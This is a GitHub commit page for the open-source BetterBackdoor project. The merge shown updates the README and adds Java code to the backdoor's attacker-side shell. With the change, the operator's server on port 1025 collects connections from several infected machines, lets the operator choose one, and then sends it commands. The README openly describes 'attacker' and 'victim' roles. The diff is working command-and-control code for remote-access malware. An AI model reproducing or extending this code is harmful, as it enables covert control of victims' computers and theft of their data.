Skip to content

Commit

Permalink
Merge pull request #23 from ThatcherDev/develop
Browse files Browse the repository at this point in the history
If multiple clients attempt to connect, the user is prompted to select which client to connect to
  • Loading branch information
thatcherclough authored Jun 11, 2020
2 parents bfb862b + 4bb2253 commit 4df8cfc
Show file tree
Hide file tree
Showing 2 changed files with 60 additions and 6 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,8 @@ This created backdoor can:
- Decompress a ZIP file

This backdoor uses a client and server socket connection to communicate.
The attacker starts a server and the victim connects to this server as a client.
The attacker starts a server, and the victim connects to this server as a client.
(Note: if multiple clients attempt to connect, the user is prompted to select which client to connect to)
Once a connection is established, commands can be sent to the client in order to control the backdoor.

To create the backdoor, BetterBackdoor:
Expand Down
63 changes: 58 additions & 5 deletions src/main/java/com/thatcherdev/betterbackdoor/shell/Shell.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,30 +6,59 @@
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Scanner;

public class Shell {

private static Socket socket;
public static Scanner in;
public static PrintWriter out;
public static ArrayList<Socket> connectedMachines = new ArrayList<>();

/**
* Starts shell to control backdoor.
* <p>
* Creates server on port 1025 for client to connect to. Once client has
* connected, starts an infinite loop that gets command {@code command} from
* Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find
* all possible clients and prompts user to select client to connect to if their are multiple clients.
* Once client has connected, starts an infinite loop that gets command {@code command} from
* user and handles it with {@link com.thatcherdev.betterbackdoor.shell.HandleCommand#handle}.
*/
public static void start() {
System.out.println("Connecting...\n");
System.out.println("Searching for clients...\n");
try {
ServerSocket serverSocket = new ServerSocket(1025);
socket = serverSocket.accept();
while (connectedMachines.size() == 0) {
Connector connector = new Connector(serverSocket);
connector.start();
Thread.sleep(5000);
connector.interrupt();
if (connectedMachines.size() == 0)
System.out.println("No clients found. Searching again...");
}

if (connectedMachines.size() == 1)
socket = connectedMachines.get(0);
else {
System.out.println("Select client to connect to:");
StringBuilder opString = new StringBuilder("op");
for (int k = 0; k < connectedMachines.size(); k++) {
System.out.println("[" + k + "] " + connectedMachines.get(k).getInetAddress());
opString.append(k);
}
String option = BetterBackdoor.getInput(opString.toString());
for (int k = 0; k < connectedMachines.size(); k++)
if (option.equals(Integer.toString(k)))
socket = connectedMachines.get(k);
else
connectedMachines.get(k).close();
}
connectedMachines.clear();

in = new Scanner(socket.getInputStream());
out = new PrintWriter(socket.getOutputStream(), true);
new File("gathered").mkdir();
System.out.println("Connection has been established");
System.out.println("Connection has been established to " + socket.getInetAddress());
System.out.println("Enter 'help' for a list of available commands");
while (true)
HandleCommand.handle(BetterBackdoor.getInput(""));
Expand All @@ -51,4 +80,28 @@ public static void start() {
}
}
}
}

class Connector extends Thread {

private ServerSocket serverSocket = null;

public Connector(ServerSocket serverSocket) {
this.serverSocket = serverSocket;
}

/**
* Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to
* {@link com.thatcherdev.betterbackdoor.shell.Shell#connectedMachines}.
*/
public void run() {
while (true) {
try {
Socket socket = serverSocket.accept();
Shell.connectedMachines.add(socket);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

0 comments on commit 4df8cfc

Please sign in to comment.